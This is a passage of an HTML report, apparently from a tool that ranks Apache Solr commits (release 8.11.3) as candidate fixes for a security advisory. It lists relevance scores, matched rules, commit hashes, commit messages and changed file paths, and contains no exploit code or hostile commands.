    • + + solr/core/src/java/org/apache/solr/cloud/Overseer.java + + solr/core/src/java/org/apache/solr/cloud/RefreshCollectionMessage.java + + solr/core/src/java/org/apache/solr/cloud/autoscaling/sim/SnapshotClusterStateProvider.java + + solr/core/src/java/org/apache/solr/cloud/overseer/ClusterStateMutator.java + + solr/core/src/java/org/apache/solr/cloud/overseer/CollectionMutator.java + + solr/core/src/java/org/apache/solr/cloud/overseer/ZkStateWriter.java + + solr/core/src/java/org/apache/solr/handler/admin/ClusterStatus.java + + solr/core/src/java/org/apache/solr/handler/admin/CollectionsHandler.java + + solr/solrj/src/java/org/apache/solr/client/solrj/cloud/DistribStateManager.java + + solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseHttpClusterStateProvider.java + + solr/solrj/src/java/org/apache/solr/common/cloud/ClusterState.java + + solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java + + solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java + + solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStatesOps.java + + solr/solrj/src/java/org/apache/solr/common/cloud/Replica.java + + solr/solrj/src/java/org/apache/solr/common/cloud/Slice.java + + solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-17120: handle null value when merging partials (backport of... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 24 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_MSG + + BUG_IN_MESSAGE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 78e618444690b9ddf285e416d8045a11dceb711b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/update/UpdateLog.java
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: value, user
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-17120
      +
    • + +
    • +
      The commit message references some github issue: 2214, 2683
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-17120: handle null value when merging partials (backport of solr#2214) (#2683) * SOLR-17120 handle null value when merging partials - this change avoids a `NullPointerException` that can occur under some circumstances when performing multiple partial updates of the same document Co-authored-by: Calvin Smith <eukaryote@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/update/UpdateLog.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-16451: Don't fetch the PRS states while registering the... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 24 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 49fd000432e7cbe62551141e474b4bec3243fe39 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: read
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-16451
      +
    • + +
    • +
      The commit message references some github issue: 1057
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-16451: Don't fetch the PRS states while registering the collection watch closes #1057
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-16110: Using Schema/Config API breaks the File-Upload of Config... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 24 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + SEC_KEYWORDS_IN_LINKED_BUG + + BUG_IN_MESSAGE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7bd8229f4db031f81b84e15881a483244967a8e1 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: This, Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/ZkController.java
      +
    • + +
    • +
      The bug tracking ticket SOLR-16110 contains some security-related terms: security
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-16110
      +
    • + +
    • +
      The commit message references some github issue: 831
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-16110: Using Schema/Config API breaks the File-Upload of Config Set File (#831) Co-authored-by: Steffen Moldenhauer <s.moldenhauer@intershop.de>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/cloud/ZkController.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-16165: Rare deadlock in SlotAcc initialization (#819) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 24 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + SEC_KEYWORDS_IN_LINKED_BUG + + BUG_IN_MESSAGE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 89fb1eef03da0a4fec2699a1ba17e6e78402ac28 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: This
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/search/facet/Constants.java, solr/core/src/java/org/apache/solr/search/facet/SlotAcc.java, solr/core/src/java/org/apache/solr/search/facet/FacetFieldProcessorByArray.java
      +
    • + +
    • +
      The bug tracking ticket SOLR-16165 contains some security-related terms: vulnerable
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-16165
      +
    • + +
    • +
      The commit message references some github issue: 819
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-16165: Rare deadlock in SlotAcc initialization (#819)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/search/facet/Constants.java + + solr/core/src/java/org/apache/solr/search/facet/FacetFieldProcessorByArray.java + + solr/core/src/java/org/apache/solr/search/facet/SlotAcc.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-16781: Making tests pass + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 22 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + SEC_KEYWORDS_IN_LINKED_BUG + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + eff22ac1afbb16ba614bfcd190ba122b061ccdf2 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/core/SolrConfig.java
      +
    • + +
    • +
      The bug tracking ticket SOLR-16781 contains some security-related terms: secure, security, rce
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-16781
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-16781: Making tests pass
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/core/SolrConfig.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-15694, 15715: Node roles and dedicated query coordinator nodes + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 22 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 2da4332072ffffb0581ef60d11de5b0d157452ac +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: This, ZooKeeper, SolrCloud, Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java, solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java, solr/core/src/java/org/apache/solr/request/SimpleFacets.java, solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml, solr/core/src/java/org/apache/solr/handler/ClusterAPI.java, solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java, solr/core/src/java/org/apache/solr/core/CoreContainer.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java, solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java, solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java, solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java, solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java, solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java, solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java, solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java, solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java, solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java, solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java, solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java, solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml, solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java, solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java, solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml, solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java, solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java, solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java, solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java, solr/core/src/java/org/apache/solr/core/NodeRoles.java, solr/core/src/java/org/apache/solr/update/UpdateLog.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java, solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml, solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java, solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: handler, read, request, actor, clouds
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-15694
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-15694, 15715: Node roles and dedicated query coordinator nodes
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java + + solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java + + solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java + + solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java + + solr/core/src/java/org/apache/solr/core/CoreContainer.java + + solr/core/src/java/org/apache/solr/core/NodeRoles.java + + solr/core/src/java/org/apache/solr/handler/ClusterAPI.java + + solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java + + solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java + + solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java + + solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java + + solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java + + solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java + + solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java + + solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java + + solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java + + solr/core/src/java/org/apache/solr/request/SimpleFacets.java + + solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java + + solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java + + solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java + + solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java + + solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java + + solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java + + solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java + + solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java + + solr/core/src/java/org/apache/solr/update/UpdateLog.java + + solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java + + solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java + + solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml + + solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml + + solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml + + solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml + + solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java + + solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java + + solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java + + solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-15694, SOLR-15715: Node roles and dedicated query coordinator... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 22 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 2088d743db9304492ab19c14bc80c6187f172b79 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: This, ZooKeeper, SolrCloud, Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java, solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java, solr/core/src/java/org/apache/solr/request/SimpleFacets.java, solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml, solr/core/src/java/org/apache/solr/handler/ClusterAPI.java, solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java, solr/core/src/java/org/apache/solr/core/CoreContainer.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java, solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java, solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java, solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java, solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java, solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java, solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java, solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java, solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java, solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java, solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java, solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java, solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml, solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java, solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java, solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml, solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java, solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java, solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java, solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java, solr/core/src/java/org/apache/solr/core/NodeRoles.java, solr/core/src/java/org/apache/solr/update/UpdateLog.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java, solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml, solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java, solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: handler, read, request, actor, clouds
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-15694, SOLR-15715
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-15694, SOLR-15715: Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul <noble@apache.org>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java + + solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java + + solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java + + solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java + + solr/core/src/java/org/apache/solr/core/CoreContainer.java + + solr/core/src/java/org/apache/solr/core/NodeRoles.java + + solr/core/src/java/org/apache/solr/handler/ClusterAPI.java + + solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java + + solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java + + solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java + + solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java + + solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java + + solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java + + solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java + + solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java + + solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java + + solr/core/src/java/org/apache/solr/request/SimpleFacets.java + + solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java + + solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java + + solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java + + solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java + + solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java + + solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java + + solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java + + solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java + + solr/core/src/java/org/apache/solr/update/UpdateLog.java + + solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java + + solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java + + solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml + + solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml + + solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml + + solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml + + solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java + + solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java + + solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java + + solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Remove unused import, thereby fixing Eclipse import error + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 20 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3b395d90e5fd6604afb27da4777fd9d1c347c48d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/designer/SampleDocumentsLoader.java
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: handler
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Remove unused import, thereby fixing Eclipse import error
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/handler/designer/SampleDocumentsLoader.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-15694, 15715: Create ephemeral roles properly (missed... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 20 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + COMMIT_HAS_TWINS + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + ace7641edb762d31519df1db845885dfd31caee4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/ZkController.java
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-15694
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-15694, 15715: Create ephemeral roles properly (missed backporting these changes last time)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/cloud/ZkController.java + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-17025: Upgrade Jetty to 9.4.53.v20231009 (#2680) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 20 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e7560cd2ab024d4315933cd3965aab2961bba994 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit changes some relevant files: solr/licenses/jetty-server-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-rewrite-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-java-client-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-java-server-9.4.53.v20231009.jar.sha1, solr/licenses/http2-hpack-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-security-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-xml-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-http-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-java-server-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-util-9.4.48.v20220622.jar.sha1, solr/licenses/http2-http-client-transport-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-client-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-io-9.4.48.v20220622.jar.sha1, solr/licenses/http2-client-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-client-9.4.48.v20220622.jar.sha1, solr/licenses/http2-hpack-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-java-client-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-client-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-deploy-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-security-9.4.53.v20231009.jar.sha1, solr/licenses/start.jar.sha1, solr/licenses/jetty-continuation-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-rewrite-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-servlet-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-servlets-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-continuation-9.4.53.v20231009.jar.sha1, solr/licenses/http2-client-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-server-9.4.53.v20231009.jar.sha1, solr/licenses/http2-http-client-transport-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-client-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-webapp-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-deploy-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-servlet-9.4.48.v20220622.jar.sha1, solr/licenses/http2-common-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-xml-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-jmx-9.4.53.v20231009.jar.sha1, solr/licenses/http2-server-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-http-9.4.53.v20231009.jar.sha1, solr/licenses/http2-server-9.4.53.v20231009.jar.sha1, solr/licenses/http2-common-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-jmx-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-util-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-alpn-server-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-server-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-webapp-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-io-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-servlets-9.4.48.v20220622.jar.sha1
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: upgrade
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: version, server
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-17025
      +
    • + +
    • +
      The commit message references some github issue: 2680
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-17025: Upgrade Jetty to 9.4.53.v20231009 (#2680)
      +
    • +
    + +
    Changed files in commit
    + +
      +
